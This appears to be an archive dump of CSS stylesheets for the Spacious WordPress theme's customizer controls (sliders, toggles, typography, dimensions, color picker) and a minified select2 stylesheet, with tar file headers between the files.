.customize-control-spacious-group .spacious-field-settings-modal:before { border: 8px solid transparent; border-bottom-color: #ffffff; content: ""; pointer-events: none; position: absolute; left: 17px; top: -15px; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap { width: 100%; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs, .customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content { position: relative; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; overflow: hidden; padding: 15px 15px 0 15px; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before, .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after { border-collapse: collapse; content: ""; display: table; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li { border: 1px solid rgba(0, 0, 0, 0.1); -webkit-box-flex: 1; -ms-flex: 1 1 auto; flex: 1 1 auto; margin: 0; padding: 0.5rem 0.5rem; text-align: center; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child) { border-right-width: 0; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus { outline-style: none; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active { background-color: #289dcc; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a { color: #ffffff; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a { color: #555d66; text-decoration: none; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus { -webkit-box-shadow: none; box-shadow: none; } .customize-control-spacious-group .spacious-field-settings-modal .customize-control { -webkit-box-sizing: border-box; box-sizing: border-box; padding: 20px 15px 0 15px; } .customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child { margin-bottom: 15px; } /** * Heading control CSS. */ .customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title { color: #444444; display: block; font-size: 14px; line-height: 1.2; margin: 0; } .customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description { margin-top: 10px; padding: 0 12px; } .tool-tip { display: inline-block; position: relative; } .tool-tip:hover .tooltip-text { opacity: 1; visibility: visible; } #customize-theme-controls .customize-pane-child .accordion-section-content { padding: 10px; } .customize-control .customize-control-spacious-color { padding-bottom: 0; } li.customize-control.customize-control-spacious-hidden { padding: 0; } /** * Group control CSS. */ .customize-control-spacious-hidden.customize-control { margin-top: 0; } /** * Radio image control CSS. */ .customize-control-spacious-radio-image * { -webkit-box-sizing: border-box; box-sizing: border-box; } .customize-control-spacious-radio-image input { display: none; } .customize-control-spacious-radio-image input:checked + label img { background: #0073aa; } .customize-control-spacious-radio-image .image { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-radio-image label { display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; margin-top: 10px; margin-bottom: 10px; position: relative; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; } .customize-control-spacious-radio-image label > img { background: #ebebeb; border: 2px solid #ebebeb; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-radio-image .image-col-1:after, .customize-control-spacious-radio-image .image-col-2:after, .customize-control-spacious-radio-image .image-col-3:after, .customize-control-spacious-radio-image .image-col-4:after { clear: both; content: ''; display: block; } .customize-control-spacious-radio-image .image-col-1 input:checked + label img, .customize-control-spacious-radio-image .image-col-2 input:checked + label img, .customize-control-spacious-radio-image .image-col-3 input:checked + label img, .customize-control-spacious-radio-image .image-col-4 input:checked + label img { border: none; -webkit-box-shadow: none; box-shadow: none; } .customize-control-spacious-radio-image .image-col-1 label { -ms-flex-preferred-size: 100%; flex-basis: 100%; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; } .customize-control-spacious-radio-image .image-col-1 label > img { border: none; padding: 15px 15px 0; width: 70%; } .customize-control-spacious-radio-image .image-col-2 label { -ms-flex-preferred-size: calc((100% / 2) - 12px); flex-basis: calc((100% / 2) - 12px); } .customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd) { margin-left: 10px; } .customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even) { margin-right: 10px; } .customize-control-spacious-radio-image .image-col-2 label > img { border: none; padding: 12px 12px 0; width: 108px; } .customize-control-spacious-radio-image .image-col-3 label { -ms-flex-preferred-size: calc((100% / 3) - 8px); flex-basis: calc((100% / 3) - 8px); } .customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1) { margin-left: 10px; } .customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3) { margin-right: 10px; } .customize-control-spacious-radio-image .image-col-3 label > img { border: none; padding: 8px 8px 0; width: 75px; } .customize-control-spacious-radio-image .image-col-4 label { -ms-flex-preferred-size: 25%; flex-basis: 25%; padding: 6px 15px; border: 1px solid #EBEBEB; } .customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)) { border-left-width: 0; } .customize-control-spacious-radio-image .image-col-4 label > img { border: 0; } .customize-control-spacious-radio-image .image-col-4 input:checked + label { background: #0073aa; } .customize-control-spacious-radio-image label:hover .tooltip-text { opacity: 1; visibility: visible; } .customize-control-spacious-radio-image .tooltip-text { bottom: 105%; right: 50%; } /** * Slider control CSS. */ .customize-control-spacious-slider .slider-wrapper { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-slider .slider-wrapper input[type=range] { -webkit-appearance: none; -moz-appearance: none; appearance: none; background: rgba(0, 0, 0, 0.1); cursor: pointer; -webkit-box-flex: 1; -ms-flex: 1; flex: 1; height: 5px; padding: 0; -webkit-transition: background 0.3s; transition: background 0.3s; } .customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; background: #289dcc; border-radius: 100%; height: 16px; width: 16px; } .customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb { background: #289dcc; border-radius: 100%; height: 16px; width: 16px; } .customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb { background: #289dcc; border-radius: 100%; height: 16px; width: 16px; } .customize-control-spacious-slider .slider-wrapper .spacious-range-value { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; padding: 0 5px 0 0; } .customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number] { font-size: 12px; padding: 3px; width: 60px; } .customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit { padding: 0 5px 0 0; } .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset { color: rgba(0, 0, 0, 0.3); cursor: pointer; -webkit-transition: color 0.3s ease-in; transition: color 0.3s ease-in; } .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span { font-size: 14px; } .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover, .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus { color: #289dcc; } .customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span { left: 20px; } /** * Sortable control CSS. */ .customize-control-spacious-sortable ul.ui-sortable { cursor: default; } .customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility { cursor: pointer; } .customize-control-spacious-sortable ul.ui-sortable li { padding: 5px 10px; border: 1px solid #555555; background: #ffffff; cursor: move; } .customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu { float: left; } .customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility { margin-left: 10px; } .customize-control-spacious-sortable ul.ui-sortable li.invisible { color: #aaaaaa; border: 1px dashed #aaaaaa; } .customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility { color: #aaaaaa; } /** * Switch toggle control CSS. */ .customize-control-spacious-toggle { display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-toggle label { position: relative; display: inline-block; width: 30px; height: 16px; left: 0; top: 4px; } .customize-control-spacious-toggle label.toggle-description { left: 20px; } .customize-control-spacious-toggle label input { display: none; } .customize-control-spacious-toggle label input:checked + .switch:before { background: #ffffff; border-color: #ffffff; right: -6px; -webkit-transform: translateX(-20px); transform: translateX(-20px); } .customize-control-spacious-toggle label input:checked + .switch { background-color: #0073aa; border-color: #0073aa; } .customize-control-spacious-toggle label .switch { position: absolute; cursor: pointer; top: 0; right: 0; left: 0; bottom: 0; background: #ffffff; border: 2px solid #444444; border-radius: 100px; -webkit-transition: all ease 0.3s; transition: all ease 0.3s; } .customize-control-spacious-toggle label .switch:before { position: absolute; content: ''; height: 6px; width: 6px; right: 3px; bottom: 1px; border: 2px solid #444444; background: #444444; border-radius: 100%; -webkit-transition: all ease 0.3s; transition: all ease 0.3s; } /** * Typography control CSS. */ .customize-control-spacious-typography .customize-control-content > div { margin-bottom: 15px; } .customize-control-spacious-typography .customize-control-content .font-size, .customize-control-spacious-typography .customize-control-content .line-height, .customize-control-spacious-typography .customize-control-content .letter-spacing { position: relative; } .customize-control-spacious-typography .customize-control-content .control-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; } .customize-control-spacious-typography .customize-control-content .unit { background: #ebebeb; border-radius: 2px 0 0 2px; font-weight: 500; line-height: 34px; padding: 0 12px; text-transform: uppercase; } .customize-control-spacious-typography .customize-control-content .font-style, .customize-control-spacious-typography .customize-control-content .font-family, .customize-control-spacious-typography .customize-control-content .font-weight, .customize-control-spacious-typography .customize-control-content .text-transform { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content, .customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content, .customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content, .customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content { padding-top: 2px; width: 180px; } span.select2-container.select2-container--default.select2-container--open { z-index: 999999; } /** * Title control CSS. */ .customize-control-spacious-title { border-bottom: 1px solid #ebebeb; margin-top: 15px; } .customize-control-spacious-title:nth-child(2) { margin-top: 0; } .spacious-title-wrapper { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .spacious-title-wrapper .dashicons-editor-help { color: rgba(68, 68, 68, 0.5); margin-right: 5px; } .spacious-title-wrapper .dashicons-editor-help:hover { color: #444444; } .spacious-title-wrapper .guide-tutorial > span { border-left: 1px solid #eeeeee; padding: 0 8px 0 5px; } .spacious-title-wrapper .guide-tutorial > span:first-child, .spacious-title-wrapper .guide-tutorial > span:last-of-type { border-left: 0; padding-left: 0; } .spacious-title-wrapper .guide-tutorial > span a { font-weight: 500; text-decoration: none; } .spacious-title-wrapper label.customizer-text { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; } /** * Dimensions control CSS. */ .customize-control-spacious-dimensions { position: relative; } .customize-control-spacious-dimensions .wrapper { border: 1px solid rgba(0, 0, 0, 0.1); padding: 6px 8px; } .customize-control-spacious-dimensions .wrapper .control { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-dimensions .wrapper .control .top, .customize-control-spacious-dimensions .wrapper .control .right, .customize-control-spacious-dimensions .wrapper .control .bottom, .customize-control-spacious-dimensions .wrapper .control .left { width: 23%; } .customize-control-spacious-dimensions .wrapper .control .top h5, .customize-control-spacious-dimensions .wrapper .control .right h5, .customize-control-spacious-dimensions .wrapper .control .bottom h5, .customize-control-spacious-dimensions .wrapper .control .left h5 { margin: 0; font-weight: normal; } p.upgrade-description { margin-top: 10px; font-style: italic; } core/custom-controls/assets/css/selectWoo.min.css000066600000035434152367043330016224 0ustar00.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:0;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[data-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;height:1px !important;margin:-1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__placeholder{color:#999;margin-top:5px;float:left}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:0;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[data-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[data-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top,white 50%,#eee 100%);background-image:-o-linear-gradient(top,white 50%,#eee 100%);background-image:linear-gradient(to bottom,white 50%,#eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF',endColorstr='#FFEEEEEE',GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:0;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top,#eee 50%,#ccc 100%);background-image:-o-linear-gradient(top,#eee 50%,#ccc 100%);background-image:linear-gradient(to bottom,#eee 50%,#ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE',endColorstr='#FFCCCCCC',GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:0;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:0}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:0;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top,white 0,#eee 50%);background-image:-o-linear-gradient(top,white 0,#eee 50%);background-image:linear-gradient(to bottom,white 0,#eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF',endColorstr='#FFEEEEEE',GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top,#eee 50%,white 100%);background-image:-o-linear-gradient(top,#eee 50%,white 100%);background-image:linear-gradient(to bottom,#eee 50%,white 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE',endColorstr='#FFFFFFFF',GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:white;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:0}.select2-container--classic .select2-dropdown--below{border-top:0}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[data-selected]{background-color:#3875d7;color:white}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}core/custom-controls/assets/css/customize-controls.css000066600000053123152367043330017354 0ustar00.tooltip-text { background-color: #444444; border-radius: 4px; bottom: 125%; -webkit-box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2); box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2); color: #ffffff; left: 4px; margin-left: calc(-120px / 2); opacity: 0; padding: 10px 10px; position: absolute; text-align: center; -webkit-transition: opacity 0.3s; transition: opacity 0.3s; visibility: hidden; width: 120px; z-index: 1; } .tooltip-text::after { border-color: #444444 transparent transparent transparent; border-style: solid; border-width: 5px; content: ""; left: 50%; margin-left: -5px; position: absolute; top: 100%; } /** * Background control CSS. */ .customize-control-spacious-background .customize-control-content > div { margin-bottom: 15px; } /** * Radio buttonset control CSS. */ .customize-control-spacious-buttonset .buttonset { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-buttonset .buttonset .buttonset-inner { -webkit-box-flex: 1; -ms-flex: 1; flex: 1; } .customize-control-spacious-buttonset .buttonset .buttonset-inner + .buttonset-inner { border-left: 0; } .customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset { background: #ebebeb; -webkit-box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1); box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1); color: #444444; display: block; padding: 5px 12px; text-align: center; -webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); } .customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover { background: #ffffff; } .customize-control-spacious-buttonset .buttonset .buttonset-inner input { display: none; } .customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label { background: #0073aa; color: #ffffff; } .customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label:hover { background: #0073aa; color: #ffffff; } .customize-control .actions { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control .actions .button { min-height: 34px; } .customize-control .actions .button:last-of-type { margin-right: 0px; } .customize-control-header button.random { min-height: 34px; } input[type=checkbox]:checked { border-radius: 2px; -webkit-box-shadow: 0 0 0 1px #0073aa; box-shadow: 0 0 0 1px #0073aa; } input[type=radio]:checked { -webkit-box-shadow: 0 0 0 1px #0073aa; box-shadow: 0 0 0 1px #0073aa; } input[type=range]:focus { outline: none; } /** * Alpha color control CSS. */ .customize-control-spacious-color .customizer-wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-color .customizer-wrapper .customize-control-title { display: block; margin: 0 0 8px 0; } .wp-picker-container .wp-color-result.button { background-color: #ebebeb !important; background-image: none !important; min-height: 34px; border: 1px solid #ebebeb; } .wp-picker-container .wp-color-result.button::after { border: 1px solid #ebebeb; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important; border-radius: 100%; content: ""; height: 22px; left: 5px; position: absolute; top: 5px; width: 22px; z-index: 0; } .wp-picker-container .wp-color-result.button .wp-color-result-text { background: none; border: none; line-height: 2.15384615; padding: 0 10px 0 6px; } .wp-picker-container .wp-color-result.button .color-alpha { border: 1px solid #ebebeb; border-radius: 100% !important; height: 22px !important; left: 4px !important; top: 4px !important; width: 22px !important; z-index: 1; } .wp-picker-container .wp-picker-input-wrap .wp-picker-default { min-height: 34px !important; } .wp-picker-container .wp-picker-holder { -webkit-box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3); box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3); } .wp-picker-container .iris-picker { border-color: #ebebeb; margin-bottom: 5px; } .wp-picker-container .iris-picker .iris-alpha-slider { margin-right: -1px; } .customize-control-spacious-divider { padding: 0 !important; } /** * Custom control CSS. */ .customize-control-spacious-custom .spacious-custom-info { margin-bottom: 15px; } .customize-control-spacious-custom .spacious-custom-links li a { background: #0073aa; display: block; text-align: center; color: #ffffff; padding: 8px 16px; text-decoration: none; } /** * Divider control CSS. */ .customize-control-spacious-divider hr { margin-top: 10px; margin-bottom: 10px; } .customize-control-spacious-divider .divider-placement-above + .spacious-control-tooltip { top: 30px; } /** * Editor control CSS. */ .customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea { width: 100%; } /** * Group control CSS. */ .customize-control-spacious-group .spacious-group-wrap > .customizer-text { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-group .spacious-group-toggle-icon { background: #ebebeb; border-radius: 100px; color: rgba(68, 68, 68, 0.6); cursor: pointer; font-size: 20px; padding: 5px; position: relative; right: 0; top: 0px; } .customize-control-spacious-group .spacious-group-toggle-icon:before { content: "\f464"; } .customize-control-spacious-group .spacious-group-toggle-icon.open { background: #0073aa; color: #ffffff; } .customize-control-spacious-group .spacious-group-toggle-icon.open:before { content: "\f158"; } .customize-control-spacious-group .spacious-group-toggle-icon.toggle-description { right: 25px; } .customize-control-spacious-group .spacious-field-settings-modal { background-color: #ffffff; border-radius: 5px; -webkit-box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); left: 0; position: absolute; right: 0; z-index: 9999; } .customize-control-spacious-group .spacious-field-settings-modal:before { border: 8px solid 